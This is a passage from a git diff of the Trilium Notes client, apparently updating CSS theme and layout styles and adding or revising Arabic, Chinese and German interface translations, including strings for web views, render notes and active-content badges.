-    body.mobile.force-fixed-tree #mobile-sidebar-wrapper {
-        padding-top: 0;
-        position: static;
-        height: 40vh;
-        width: 100vw;
-        transform: none !important;
-        background-color: var(--left-pane-background-color) !important;
-        border-bottom: 0.5px solid var(--main-border-color);
-    }
+    body.mobile {
+        .modal-dialog {
+            margin: var(--bs-modal-margin);
+            max-width: 80%;
+        }

-    body.mobile.force-fixed-tree #mobile-sidebar-container {
-        display: none !important;
-    }
-
-    body.mobile.force-fixed-tree #mobile-sidebar-wrapper .quick-search {
-        display: none;
-    }
-
-    body.mobile.force-fixed-tree .component > button.bx-sidebar {
-        visibility: hidden;
-        padding: 0;
-        width: 6px;
-    }
-
-    body.mobile.force-fixed-tree #mobile-rest-container {
-        flex-direction: column !important;
-    }
-
-    body.mobile.force-fixed-tree #detail-container {
-        flex-grow: 1;
+        .modal-content {
+            height: 100%;
+        }
    }
 }

@@ -2617,14 +2630,14 @@ iframe.print-iframe {
            }
        }

-        #root-widget.virtual-keyboard-opened .note-split:not(:focus-within) {
+        #root-widget.virtual-keyboard-opened .note-split:not(.active) {
            max-height: 80px;
            opacity: 0.4;
        }
    }
 }

-body.desktop .title-row {
+.title-row {
    height: 50px;
    min-height: 50px;
    align-items: center;
--- a/apps/client/src/stylesheets/theme-next-dark.css
+++ b/apps/client/src/stylesheets/theme-next-dark.css
@@ -134,6 +134,7 @@
    --left-pane-collapsed-border-color: #0009;
    --left-pane-background-color: #1f1f1f;
    --left-pane-text-color: #aaaaaa;
+    --left-pane-icon-color: #c5c5c5;
    --left-pane-item-hover-background: #ffffff0d;
    --left-pane-item-selected-background: #ffffff25;
    --left-pane-item-selected-color: #dfdfdf;
@@ -209,6 +210,7 @@
    --badge-share-background-color: #4d4d4d;
    --badge-clipped-note-background-color: #295773;
    --badge-execute-background-color: #604180;
+    --badge-active-content-background-color: rgb(12, 68, 70);

    --note-icon-background-color: #444444;
    --note-icon-color: #d4d4d4;
@@ -237,9 +239,9 @@

    --bottom-panel-background-color: #11111180;
    --bottom-panel-title-bar-background-color: #3F3F3F80;
-    
+
    --status-bar-border-color: var(--main-border-color);
-    
+
    --scrollbar-thumb-color: #fdfdfd5c;
    --scrollbar-thumb-hover-color: #ffffff7d;
    --scrollbar-background-color: transparent;
@@ -289,6 +291,15 @@
    --ck-editor-toolbar-button-on-shadow: 1px 1px 2px rgba(0, 0, 0, .75);
    --ck-editor-toolbar-dropdown-button-open-background: #ffffff14;

+    --note-list-view-icon-color: var(--left-pane-icon-color);
+    --note-list-view-large-icon-background: var(--note-icon-background-color);
+    --note-list-view-large-icon-color: var(--note-icon-color);
+    --note-list-view-search-result-highlight-background: transparent;
+    --note-list-view-search-result-highlight-color: var(--quick-search-result-highlight-color);
+    --note-list-view-content-background: rgba(0, 0, 0, .2);
+    --note-list-view-content-search-result-highlight-background: var(--quick-search-result-highlight-color);
+    --note-list-view-content-search-result-highlight-color: black;
+
    --calendar-coll-event-background-saturation: 25%;
    --calendar-coll-event-background-lightness: 20%;
    --calendar-coll-event-background-color: #3c3c3c;
@@ -302,7 +313,8 @@
 * Dark color scheme tweaks
 */

-#left-pane .fancytree-node.tinted {
+#left-pane .fancytree-node.tinted,
+.nested-note-list-item.use-note-color {
    --custom-color: var(--dark-theme-custom-color);

    /* The background color of the active item in the note tree.
@@ -336,12 +348,24 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
    --promoted-attribute-card-background-color: hsl(var(--custom-color-hue), 13.2%, 20.8%);
 }

+.modal.tab-bar-modal .tabs .tab-card.with-hue {
+    background-color: hsl(var(--bg-hue), 8.8%, 11.2%);
+    border-color: hsl(var(--bg-hue), 9.4%, 25.1%);
+}
+
+.modal.tab-bar-modal .tabs .tab-card.active.with-hue {
+    background-color: hsl(var(--bg-hue), 8.8%, 16.2%);
+    border-color: hsl(var(--bg-hue), 9.4%, 25.1%);
+}
+
+
 .use-note-color {
    --custom-color: var(--dark-theme-custom-color);
 }

 .note-split.with-hue,
-.quick-edit-dialog-wrapper.with-hue {
+.quick-edit-dialog-wrapper.with-hue,
+.nested-note-list-item.with-hue {
    --note-icon-custom-background-color: hsl(var(--custom-color-hue), 15.8%, 30.9%);
    --note-icon-custom-color: hsl(var(--custom-color-hue), 100%, 76.5%);
    --note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 28.3%, 36.7%);
@@ -350,4 +374,4 @@ body .todo-list input[type="checkbox"]:not(:checked):before {
 .note-split.with-hue *::selection,
 .quick-edit-dialog-wrapper.with-hue *::selection {
    --selection-background-color: hsl(var(--custom-color-hue), 49.2%, 35%);
-}
+}
--- a/apps/client/src/stylesheets/theme-next-light.css
+++ b/apps/client/src/stylesheets/theme-next-light.css
@@ -127,6 +127,7 @@
    --left-pane-collapsed-border-color: #0000000d;
    --left-pane-background-color: #f2f2f2;
    --left-pane-text-color: #383838;
+    --left-pane-icon-color: currentColor;
    --left-pane-item-hover-background: rgba(0, 0, 0, 0.032);
    --left-pane-item-selected-background: white;
    --left-pane-item-selected-color: black;
@@ -201,6 +202,7 @@
    --badge-share-background-color: #6b6b6b;
    --badge-clipped-note-background-color: #2284c0;
    --badge-execute-background-color: #7b47af;
+    --badge-active-content-background-color: rgb(27, 164, 168);

    --note-icon-background-color: #4f4f4f;
    --note-icon-color: white;
@@ -287,6 +289,15 @@
    --ck-editor-toolbar-button-on-shadow: none;
    --ck-editor-toolbar-dropdown-button-open-background: #0000000f;

+    --note-list-view-icon-color: var(--left-pane-icon-color);
+    --note-list-view-large-icon-background: var(--note-icon-background-color);
+    --note-list-view-large-icon-color: var(--note-icon-color);
+    --note-list-view-search-result-highlight-background: transparent;
+    --note-list-view-search-result-highlight-color: var(--quick-search-result-highlight-color);
+    --note-list-view-content-background: #b1b1b133;
+    --note-list-view-content-search-result-highlight-background: var(--quick-search-result-highlight-color);
+    --note-list-view-content-search-result-highlight-color: white;
+
    --calendar-coll-event-background-lightness: 95%;
    --calendar-coll-event-background-saturation: 80%;
    --calendar-coll-event-background-color: #eaeaea;
@@ -296,7 +307,8 @@
    --calendar-coll-today-background-color: #00000006;
 }

-#left-pane .fancytree-node.tinted {
+#left-pane .fancytree-node.tinted,
+.nested-note-list-item.use-note-color {
    --custom-color: var(--light-theme-custom-color);

    /* The background color of the active item in the note tree.
@@ -311,8 +323,19 @@
    --promoted-attribute-card-background-color: hsl(var(--custom-color-hue), 40%, 88%);
 }

+.modal.tab-bar-modal .tabs .tab-card.with-hue {
+    background-color: hsl(var(--bg-hue), 56%, 96%);
+    border-color: hsl(var(--bg-hue), 33%, 41%);
+}
+
+.modal.tab-bar-modal .tabs .tab-card.active.with-hue {
+    background-color: hsl(var(--bg-hue), 86%, 96%);
+    border-color: hsl(var(--bg-hue), 33%, 41%);
+}
+
 .note-split.with-hue,
-.quick-edit-dialog-wrapper.with-hue {
+.quick-edit-dialog-wrapper.with-hue,
+.nested-note-list-item.with-hue {
    --note-icon-custom-background-color: hsl(var(--custom-color-hue), 44.5%, 43.1%);
    --note-icon-custom-color: hsl(var(--custom-color-hue), 91.3%, 91%);
    --note-icon-hover-custom-background-color: hsl(var(--custom-color-hue), 55.1%, 50.2%);
@@ -321,4 +344,4 @@
 .note-split.with-hue *::selection,
 .quick-edit-dialog-wrapper.with-hue *::selection {
    --selection-background-color: hsl(var(--custom-color-hue), 60%, 90%);
-}
+}
--- a/apps/client/src/stylesheets/theme-next/base.css
+++ b/apps/client/src/stylesheets/theme-next/base.css
@@ -800,3 +800,18 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
    background: var(--hover-item-background-color);
    color: var(--hover-item-text-color);
 }
+
+/*
+ * Alert bars
+ */
+
+div.alert {
+    margin-bottom: 8px;
+    background: var(--alert-bar-background) !important;
+    border-radius: 8px;
+    font-size: .85em;
+}
+
+div.alert p + p {
+    margin-block: 1em 0;
+}
--- a/apps/client/src/stylesheets/theme-next/forms.css
+++ b/apps/client/src/stylesheets/theme-next/forms.css
@@ -84,6 +84,22 @@ button.btn.btn-success kbd {
    letter-spacing: 0.5pt;
 }

+/*
+ * Low profile buttons
+ */
+
+button.tn-low-profile {
+    appearance: none;
+    background: transparent;
+    border: 0;
+    border-radius: 8px;
+    color: inherit;
+}
+
+button.tn-low-profile:hover {
+    background-color: var(--icon-button-hover-background);
+}
+
 /*
 * Icon buttons
 */
@@ -129,6 +145,10 @@ button.btn.btn-success kbd {
    font-size: calc(var(--icon-button-size) * var(--icon-button-icon-ratio));
 }

+:root .icon-action.disabled::before {
+    opacity: .5;
+}
+
 :root .icon-action:not(.global-menu-button):hover,
 :root .icon-action:not(.global-menu-button).show,
 :root .tn-tool-button:hover,
@@ -794,3 +814,35 @@ input[type="range"] {
        scrollbar-width: unset;
    }
 }
+
+/*
+ * Centered forms
+ */
+
+.tn-centered-form {
+    display: flex;
+    flex-direction: column;
+    align-items: center;
+    margin-bottom: 20vh;
+}
+
+.tn-centered-form .form-group {
+    text-align: center;
+    color: var(--muted-text-color);
+}
+
+.tn-centered-form .form-icon {
+    font-size: 140px;
+    color: var(--main-border-color);
+}
+
+.tn-centered-form .protected-session-password {
+    margin-inline: auto;
+    max-width: 350px;
+    text-align: center;
+}
+
+.tn-centered-form .input-group,
+.tn-centered-form button {
+    margin-top: 12px;
+}
--- a/apps/client/src/stylesheets/theme-next/notes/text.css
+++ b/apps/client/src/stylesheets/theme-next/notes/text.css
@@ -47,9 +47,14 @@
 }

 /* The toolbar show / hide button for the current text block */
-.ck.ck-block-toolbar-button {
+:root .ck.ck-block-toolbar-button {
+    --ck-color-block-toolbar-button: var(--muted-text-color);
    --ck-color-button-on-background: transparent;
-    --ck-color-button-on-color: currentColor;
+    --ck-color-button-on-color: var(--ck-editor-toolbar-button-on-color);
+    translate: -40% 0;
+    min-width: 0;
+    padding: 0;
+    z-index: 1600;
 }

 :root .ck.ck-toolbar .ck-button:not(.ck-disabled):active,
@@ -517,6 +522,10 @@ button.ck.ck-button:is(.ck-button-action, .ck-button-save, .ck-button-cancel).ck
 * EDITOR'S CONTENT
 */

+.note-detail-editable-text-editor > .ck-placeholder {
+    opacity: .5;
+}
+
 /*
 * Code Blocks
 */
--- a/apps/client/src/stylesheets/theme-next/pages.css
+++ b/apps/client/src/stylesheets/theme-next/pages.css
@@ -57,12 +57,12 @@
    height: 18px;
 }

-/* 
+/*
 * SEARCH PAGE
 */

 /* Button bar */
- .search-definition-widget .search-setting-table tbody:last-child div {
+ .search-definition-widget .search-setting-table .search-actions-container {
    justify-content: flex-end;
    gap: 8px;
 }
@@ -143,7 +143,7 @@
 /*
 * OPTIONS PAGES
 */
- 
+
 :root {
    --options-card-min-width: 500px;
    --options-card-max-width: 900px;
@@ -156,6 +156,10 @@
    --preferred-max-content-width: var(--options-card-max-width);
 }

+.note-split.options .collection-properties {
+    visibility: hidden;
+}
+
 /* Create a gap at the top of the option pages */
 .note-detail-content-widget-content.options>*:first-child {
    margin-top: var(--options-first-item-top-margin, 1em);
@@ -261,13 +265,6 @@ body.desktop .options-section:not(.tn-no-card) {
    margin-bottom: 6px;
 }

-.options-section .alert {
-    margin-bottom: 8px;
-    background: var(--alert-bar-background) !important;
-    border-radius: 8px;
-    font-size: .85em;
-}
-
 nav.options-section-tabs {
    min-width: var(--options-card-min-width);
    max-width: var(--options-card-max-width);
@@ -331,4 +328,4 @@ nav.options-section-tabs + .options-section {

 .etapi-options-section div {
    height: auto !important;
-}
+}
--- a/apps/client/src/stylesheets/theme-next/shell.css
+++ b/apps/client/src/stylesheets/theme-next/shell.css
@@ -40,13 +40,30 @@ body.mobile {

 /* #region Mica */

+/* Quirk: --background-material is read before "theme-supports-background-effects" class
+ * is applied. Apply the matterial even if the theme doesn't support it. */
 body.background-effects.platform-win32 {
-    /* Quirk: --background-material is read before "theme-supports-background-effects" class
-     * is applied. Apply the matterial even if the theme doesn't support it. */
-    --background-material: tabbed;
+    &.layout-vertical {
+        --background-material: mica;
+    }
+
+    &.layout-horizontal {
+        --background-material: tabbed;
+    }
 }

-body.background-effects.theme-supports-background-effects.platform-win32 {
+body.background-effects.platform-darwin {
+    /** Reference: https://developer.apple.com/documentation/appkit/nsvisualeffectview?preferredLanguage=objc **/
+    &.layout-vertical {
+        --background-material: under-window;
+    }
+
+    &.layout-horizontal {
+        --background-material: hud;
+    }
+}
+
+body.background-effects.theme-supports-background-effects {
    --launcher-pane-horiz-border-color: var(--launcher-pane-horiz-border-color-bgfx);
    --launcher-pane-horiz-background-color: var(--launcher-pane-horiz-background-color-bgfx);
    --launcher-pane-vert-background-color: var(--launcher-pane-vert-background-color-bgfx);
@@ -56,33 +73,29 @@ body.background-effects.theme-supports-background-effects.platform-win32 {
    --root-background: transparent;
 }

-body.background-effects.platform-win32.layout-vertical {
-    --background-material: mica;
-}
-
-body.background-effects.theme-supports-background-effects.platform-win32.layout-vertical {
+body.background-effects.theme-supports-background-effects.layout-vertical {
    --left-pane-background-color: var(--window-background-color-bgfx);
    --center-pane-background-color-bgfx: var(--center-pane-vert-layout-background-color-bgfx);
    --right-pane-background-color: var(--right-pane-background-color-bgfx);
 }

-body.background-effects.theme-supports-background-effects.platform-win32.layout-horizontal {
+body.background-effects.theme-supports-background-effects.layout-horizontal {
    --center-pane-background-color-bgfx: var(--center-pane-horiz-layout-background-color-bgfx);
    --gutter-color: var(--left-pane-background-color);
 }

-body.background-effects.theme-supports-background-effects.platform-win32,
-body.background-effects.theme-supports-background-effects.platform-win32 #root-widget {
+body.background-effects.theme-supports-background-effects,
+body.background-effects.theme-supports-background-effects #root-widget {
    background: var(--window-background-color-bgfx) !important;
 }

-body.background-effects.theme-supports-background-effects.platform-win32.layout-horizontal #horizontal-main-container,
-body.background-effects.theme-supports-background-effects.platform-win32.layout-vertical #vertical-main-container {
+body.background-effects.theme-supports-background-effects.layout-horizontal #horizontal-main-container,
+body.background-effects.theme-supports-background-effects.layout-vertical #vertical-main-container {
    background-color: var(--root-background);
 }

 /* Note split with background effects */
-body.background-effects.theme-supports-background-effects.platform-win32 #center-pane .note-split.bgfx {
+body.background-effects.theme-supports-background-effects #center-pane .note-split.bgfx {
    --note-split-background-color: var(--center-pane-background-color-bgfx);
 }

@@ -726,39 +739,35 @@ body[dir=rtl] #left-pane span.fancytree-node.protected > span.fancytree-custom-i
    transform: translateX(-25%);
 }

-body.mobile .fancytree-expander::before,
-body.mobile .fancytree-title,
-body.mobile .fancytree-node > span {
-    font-size: 1rem !important;
-}
-
@media (max-width: 991px) {
    body.mobile #mobile-sidebar-container {
        background-color: rgba(0, 0, 0, 0.5);
    }

-    body.mobile:not(.force-fixed-tree) #mobile-sidebar-wrapper {
+    body.mobile #mobile-sidebar-wrapper {
        border-top-right-radius: 12px;
        border-bottom-right-radius: 12px;
        border-inline-end: 1px solid var(--subtle-border-color);
    }
 }

-#left-pane .fancytree-expander {
+#left-pane .fancytree-expander,
+.nested-note-list-item .note-expander {
    opacity: 0.65;
    transition: opacity 150ms ease-in;
 }

-#left-pane .fancytree-expander:hover {
+#left-pane .fancytree-expander:hover,
+.nested-note-list-item .note-expander:hover {
    opacity: 1;
    transition: opacity 300ms ease-out;
 }

 #left-pane .fancytree-custom-icon {
    margin-top: 0; /* Use this to align the icon with the tree view item's caption */
+    color: var(--custom-color, var(--left-pane-icon-color));
 }

-
 #left-pane span.fancytree-active .fancytree-title {
    font-weight: normal;
 }
@@ -1054,7 +1063,7 @@ body.layout-horizontal .tab-row-widget-container {
    overflow: hidden;
 }

-body.desktop:not(.background-effects.platform-win32) #root-widget.horizontal-layout {
+body.desktop:not(.background-effects) #root-widget.horizontal-layout {
    background-color: var(--root-background) !important;
 }

@@ -1259,7 +1268,7 @@ body.layout-horizontal #rest-pane > .classic-toolbar-widget {
 #center-pane .note-split {
    padding-top: 2px;
    background-color: var(--note-split-background-color, var(--main-background-color));
-    transition: border-color 250ms ease-in;
+    transition: border-color 150ms ease-out;
    border: 2px solid transparent;
 }

@@ -1309,7 +1318,7 @@ body.mobile .note-title {
    margin-inline-start: 0;
 }

-.title-row {
+body.desktop .title-row {
    /* Aligns the "Create new split" button with the note menu button (the three dots button) */
    padding-inline-end: 3px;
 }
--- a/apps/client/src/stylesheets/tree.css
+++ b/apps/client/src/stylesheets/tree.css
@@ -206,6 +206,7 @@ span.fancytree-selected .fancytree-title {
 }

 span.fancytree-selected .fancytree-custom-icon::before {
+    font-family: "boxicons";
    content: "\eb43";
    border: 1px solid var(--main-border-color);
    border-radius: 3px;
--- a/apps/client/src/translations/ar/translation.json
+++ b/apps/client/src/translations/ar/translation.json
@@ -29,7 +29,9 @@
    "widget-render-error": {
      "title": "فشل عرض عنصر واجهة مستخدم React مخصص"
    },
-    "widget-missing-parent": "لا تحتوي الأداة المخصصة على خاصية إلزامية '{{property}}'.\n\nإذا كان من المفترض تشغيل هذا البرنامج النصي بدون عنصر واجهة مستخدم، فاستخدم '#run=frontendStartup' بدلاً من ذلك."
+    "widget-missing-parent": "لا تحتوي الأداة المخصصة على خاصية إلزامية '{{property}}'.\n\nإذا كان من المفترض تشغيل هذا البرنامج النصي بدون عنصر واجهة مستخدم، فاستخدم '#run=frontendStartup' بدلاً من ذلك.",
+    "open-script-note": "فتح ملاحظة برمجية",
+    "scripting-error": "خطأ في النص البرمجي المخصص: {{title}}"
  },
  "add_link": {
    "add_link": "أضافة رابط",
@@ -37,14 +39,19 @@
    "search_note": "البحث عن الملاحظة بالاسم",
    "link_title": "عنوان الرابط",
    "button_add_link": "اضافة رابط",
-    "help_on_links": "مساعدة حول الارتباطات التشعبية"
+    "help_on_links": "مساعدة حول الارتباطات التشعبية",
+    "link_title_mirrors": "عنوان الرابط يعكس العنوان الحالي للملاحظة",
+    "link_title_arbitrary": "يمكن تغيير عنوان الرابط حسب الرغبة"
  },
  "branch_prefix": {
    "edit_branch_prefix": "تعديل بادئة الفرع",
    "prefix": "البادئة: ",
    "save": "حفظ",
    "help_on_tree_prefix": "مساعدة حول بادئة الشجرة",
-    "branch_prefix_saved": "تم حفظ بادئة الفرع."
+    "branch_prefix_saved": "تم حفظ بادئة الفرع.",
+    "edit_branch_prefix_multiple": "تعديل البادئة لـ {{count}} من تفرعات الملاحظات",
+    "branch_prefix_saved_multiple": "تم حفظ بادئة التفرع لـ {{count}} من التفرعات.",
+    "affected_branches": "الفروع المتأثرة ({{count}}):"
  },
  "bulk_actions": {
    "bulk_actions": "اجراءات جماعية",
@@ -1173,9 +1180,6 @@
    "note_not_found": "الملاحظة {{noteId}} غير موجودة!",
    "cannot_match_transform": "تعذر مطابقة التحويل: {{transform}}"
  },
-  "web_view": {
-    "web_view": "عرض الويب"
-  },
  "consistency_checks": {
    "title": "فحوصات التناسق"
  },
--- a/apps/client/src/translations/cn/translation.json
+++ b/apps/client/src/translations/cn/translation.json
@@ -662,7 +662,8 @@
    "show-cheatsheet": "显示快捷帮助",
    "toggle-zen-mode": "禅模式",
    "new-version-available": "新更新可用",
-    "download-update": "取得版本 {{latestVersion}}"
+    "download-update": "取得版本 {{latestVersion}}",
+    "search_notes": "搜索笔记"
  },
  "zen_mode": {
    "button_exit": "退出禅模式"
@@ -745,7 +746,7 @@
    "button_title": "导出SVG格式图片"
  },
  "relation_map_buttons": {
-    "create_child_note_title": "创建新的子笔记并添加到关系图",
+    "create_child_note_title": "创建子笔记并添加到图",
    "reset_pan_zoom_title": "重置平移和缩放到初始坐标和放大倍率",
    "zoom_in_title": "放大",
    "zoom_out_title": "缩小"
@@ -759,7 +760,9 @@
    "delete_this_note": "删除此笔记",
    "error_cannot_get_branch_id": "无法获取 notePath '{{notePath}}' 的 branchId",
    "error_unrecognized_command": "无法识别的命令 {{command}}",
-    "note_revisions": "笔记历史版本"
+    "note_revisions": "笔记历史版本",
+    "backlinks": "反链",
+    "content_language_switcher": "内容语言: {{language}}"
  },
  "note_icon": {
    "change_note_icon": "更改笔记图标",
@@ -910,7 +913,8 @@
    "unknown_search_option": "未知的搜索选项 {{searchOptionName}}",
    "search_note_saved": "搜索笔记已保存到 {{- notePathTitle}}",
    "actions_executed": "操作已执行。",
-    "view_options": "查看选项："
+    "view_options": "查看选项：",
+    "option": "选项"
  },
  "similar_notes": {
    "title": "相似笔记",
@@ -1004,7 +1008,7 @@
    "no_attachments": "此笔记没有附件。"
  },
  "book": {
-    "no_children_help": "此类型为书籍的笔记没有任何子笔记，因此没有内容显示。请参阅 <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> 了解详情。",
+    "no_children_help": "此集合没有任何子笔记，因此没有内容显示。",
    "drag_locked_title": "锁定编辑",
    "drag_locked_message": "无法拖拽，因为集合已被锁定编辑。"
  },
@@ -1060,15 +1064,6 @@
    "default_new_note_title": "新笔记",
    "click_on_canvas_to_place_new_note": "点击画布以放置新笔记"
  },
-  "render": {
-    "note_detail_render_help_1": "之所以显示此帮助说明，是因为这个类型为渲染 HTML 的笔记没有正常工作所需的关系。",
-    "note_detail_render_help_2": "渲染 HTML 笔记类型用于<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">编写脚本</a>。简而言之，您有一份 HTML 代码笔记（可包含一些 JavaScript），然后这个笔记会把页面渲染出来。要使其正常工作，您需要定义一个名为 \"renderNote\" 的<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">关系</a>指向要渲染的 HTML 笔记。"
-  },
-  "web_view": {
-    "web_view": "网页视图",
-    "embed_websites": "网页视图类型的笔记允许您将网站嵌入到 Trilium 中。",
-    "create_label": "首先，请创建一个带有您要嵌入的 URL 地址的标签，例如 #webViewSrc=\"https://www.bing.com\""
-  },
  "backend_log": {
    "refresh": "刷新"
  },
@@ -1417,7 +1412,8 @@
    "description": "描述",
    "reload_app": "重载应用以应用更改",
    "set_all_to_default": "将所有快捷键重置为默认值",
-    "confirm_reset": "您确定要将所有键盘快捷键重置为默认值吗？"
+    "confirm_reset": "您确定要将所有键盘快捷键重置为默认值吗？",
+    "no_results": "未找到与“{{filter}}”匹配的快捷方式"
  },
  "spellcheck": {
    "title": "拼写检查",
@@ -1618,7 +1614,9 @@
    "print_report_title": "打印报告",
    "print_report_collection_content_other": "集合中的 {{count}} 篇笔记无法打印，因为它们不受支持或受到保护。",
    "print_report_collection_details_button": "查看详情",
-    "print_report_collection_details_ignored_notes": "忽略的笔记"
+    "print_report_collection_details_ignored_notes": "忽略的笔记",
+    "print_report_error_title": "打印失败",
+    "print_report_stack_trace": "堆栈跟踪"
  },
  "note_title": {
    "placeholder": "请输入笔记标题...",
@@ -1782,8 +1780,8 @@
    "desktop-application": "桌面应用程序",
    "native-title-bar": "原生标题栏",
    "native-title-bar-description": "对于 Windows 和 macOS，关闭原生标题栏可使应用程序看起来更紧凑。在 Linux 上，保留原生标题栏可以更好地与系统集成。",
-    "background-effects": "启用背景效果（仅适用于 Windows 11）",
-    "background-effects-description": "Mica 效果为应用窗口添加模糊且时尚的背景，营造出深度感和现代外观。「原生标题栏」必須被禁用。",
+    "background-effects": "启用背景效果",
+    "background-effects-description": "为应用窗口添加模糊且时尚的背景，营造出深度感和现代外观。「原生标题栏」必須被禁用。",
    "restart-app-button": "重启应用程序以查看更改",
    "zoom-factor": "缩放系数"
  },
@@ -1802,7 +1800,8 @@
  "geo-map": {
    "create-child-note-title": "创建一个新的子笔记并将其添加到地图中",
    "create-child-note-instruction": "单击地图以在该位置创建新笔记，或按 Escape 以取消。",
-    "unable-to-load-map": "无法加载地图。"
+    "unable-to-load-map": "无法加载地图。",
+    "create-child-note-text": "添加标记"
  },
  "geo-map-context": {
    "open-location": "打开位置",
@@ -2070,7 +2069,8 @@
    "raster": "栅格",
    "vector_light": "矢量（浅色）",
    "vector_dark": "矢量（深色）",
-    "show-scale": "显示比例尺"
+    "show-scale": "显示比例尺",
+    "show-labels": "显示标记名称"
  },
  "table_context_menu": {
    "delete_row": "删除行"
@@ -2117,7 +2117,7 @@
  },
  "call_to_action": {
    "background_effects_title": "背景效果现已推出稳定版本",
-    "background_effects_message": "在 Windows 装置上，背景效果现在已完全稳定。背景效果通过模糊背后的背景，为使用者界面增添一抹色彩。此技术也用于其他应用程序，例如 Windows 资源管理器。",
+    "background_effects_message": "在 Windows 和 macOS 设备上，背景效果现在已稳定。背景效果通过模糊背后的背景，为使用者界面增添一抹色彩。",
    "background_effects_button": "启用背景效果",
    "next_theme_title": "试用新 Trilium 主题",
    "next_theme_message": "当前使用旧版主题，要试用新主题吗？",
@@ -2149,7 +2149,6 @@
    "app-restart-required": "（需重启程序以应用更改）"
  },
  "pagination": {
-    "page_title": "第 {{startIndex}} 页 - 第 {{endIndex}} 页",
    "total_notes": "{{count}} 篇笔记"
  },
  "collections": {
@@ -2253,5 +2252,59 @@
    "pages_alt": "第{{pageNumber}}页",
    "pages_loading": "加载中...",
    "layers_other": "{{count}} 层"
+  },
+  "platform_indicator": {
+    "available_on": "在 {{platform}} 上可用"
+  },
+  "mobile_tab_switcher": {
+    "title_other": "{{count}} 选项卡",
+    "more_options": "更多选项"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "书签"
+  },
+  "web_view_setup": {
+    "title": "直接在 Trilium 中创建网页的实时视图",
+    "url_placeholder": "输入或粘贴网站地址，例如 https://triliumnotes.org",
+    "create_button": "创建网页视图",
+    "invalid_url_title": "无效的地址",
+    "invalid_url_message": "请输入有效的网址，例如 https://triliumnotes.org。",
+    "disabled_description": "此网页视图来自外部来源。为保护您免受网络钓鱼或恶意内容侵害，该视图不会自动加载。若您信任该来源，可手动启用加载功能。",
+    "disabled_button_enable": "启用网页视图"
+  },
+  "render": {
+    "setup_title": "在此笔记中显示自定义 HTML 或 Preact JSX",
+    "setup_create_sample_preact": "使用 Preact 建立范例笔记",
+    "setup_create_sample_html": "使用 HTML 建立范例笔记",
+    "setup_sample_created": "已建立一个范例笔记作为子笔记。",
+    "disabled_description": "此渲染笔记来自外部来源。为保护您免受恶意内容侵害，该功能默认处于禁用状态。启用前请确保您信任该来源。",
+    "disabled_button_enable": "启用渲染笔记"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "图标包",
+    "type_backend_script": "后端脚本",
+    "type_frontend_script": "前端脚本",
+    "type_widget": "小部件",
+    "type_app_css": "自定义 CSS",
+    "type_render_note": "渲染笔记",
+    "type_web_view": "网页视图",
+    "type_app_theme": "自定义主题",
+    "toggle_tooltip_enable_tooltip": "点击以启用此 {{type}}。",
+    "toggle_tooltip_disable_tooltip": "点击以禁用此 {{type}}。",
+    "menu_docs": "打开文档",
+    "menu_execute_now": "立即执行脚本",
+    "menu_run": "自动执行",
+    "menu_run_disabled": "手动",
+    "menu_run_backend_startup": "当后端启动时",
+    "menu_run_hourly": "每小时",
+    "menu_run_daily": "每日",
+    "menu_run_frontend_startup": "当桌面前端启动时",
+    "menu_run_mobile_startup": "当移动前端启动时",
+    "menu_change_to_widget": "更改为小部件",
+    "menu_change_to_frontend_script": "更改为前端脚本",
+    "menu_theme_base": "主题基底"
+  },
+  "setup_form": {
+    "more_info": "了解更多"
  }
 }
--- a/apps/client/src/translations/de/translation.json
+++ b/apps/client/src/translations/de/translation.json
@@ -1,6 +1,6 @@
 {
  "about": {
-    "title": "Über Trilium Notizen",
+    "title": "Über Trilium Notes",
    "homepage": "Startseite:",
    "app_version": "App-Version:",
    "db_version": "DB-Version:",
@@ -28,9 +28,9 @@
    },
    "open-script-note": "Script-Notiz öffnen",
    "widget-render-error": {
-      "title": "Eine externe React Integration konnte nicht dargestellt werden"
+      "title": "Benutzerdefiniertes React-Widget konnte nicht dargestellt werden"
    },
-    "widget-missing-parent": "Der externen Integration fehlt die erforderliche Eigenschaft '{{property}}'\n\nFalls dieses Skript ohne UI-Element ausgeführt werden soll, benutze stattdessen '#run=frontendStartup'.",
+    "widget-missing-parent": "Benutzerdefiniertes Widget hat die erforderliche '{{property}}'-Eigenschaft nicht korrekt definiert.\n\nFalls dieses Skript ohne UI-Element ausgeführt werden soll, benutze stattdessen '#run=frontendStartup'.",
    "scripting-error": "Benutzerdefinierter Skriptfehler: {{title}}"
  },
  "add_link": {
@@ -129,7 +129,7 @@
    "scrollToActiveNote": "Scrolle zur aktiven Notiz",
    "jumpToParentNote": "Zur übergeordneten Notiz springen",
    "collapseWholeTree": "Reduziere den gesamten Notizbaum",
-    "collapseSubTree": "Teilbaum einklappen",
+    "collapseSubTree": "Zweig einklappen",
    "tabShortcuts": "Tab-Tastenkürzel",
    "newTabNoteLink": "auf den Notizlink öffnet die Notiz in einem neuen Tab",
    "onlyInDesktop": "Nur im Desktop (Electron Build)",
@@ -230,7 +230,7 @@
  "move_to": {
    "dialog_title": "Notizen verschieben nach ...",
    "notes_to_move": "Notizen zum Verschieben",
-    "target_parent_note": "Ziel-Elternnotiz",
+    "target_parent_note": "Übergeordnete Notiz bestimmen",
    "search_placeholder": "Suche nach einer Notiz anhand ihres Namens",
    "move_button": "Zur ausgewählten Notiz wechseln",
    "error_no_path": "Kein Weg, auf den man sich bewegen kann.",
@@ -333,8 +333,8 @@
    "target_note_title": "Eine Beziehung ist eine benannte Verbindung zwischen Quellnotiz und Zielnotiz.",
    "target_note": "Zielnotiz",
    "promoted_title": "Das heraufgestufte Attribut wird deutlich in der Notiz angezeigt.",
-    "promoted": "Gefördert",
-    "promoted_alias_title": "Der Name, der in der Benutzeroberfläche für heraufgestufte Attribute angezeigt werden soll.",
+    "promoted": "Hervorgehoben",
+    "promoted_alias_title": "Der Name, der in der Benutzeroberfläche für hervorgehobene Attribute angezeigt werden soll.",
    "promoted_alias": "Alias",
    "multiplicity_title": "Multiplizität definiert, wie viele Attribute mit demselben Namen erstellt werden können – maximal 1 oder mehr als 1.",
    "multiplicity": "Vielzahl",
@@ -367,7 +367,7 @@
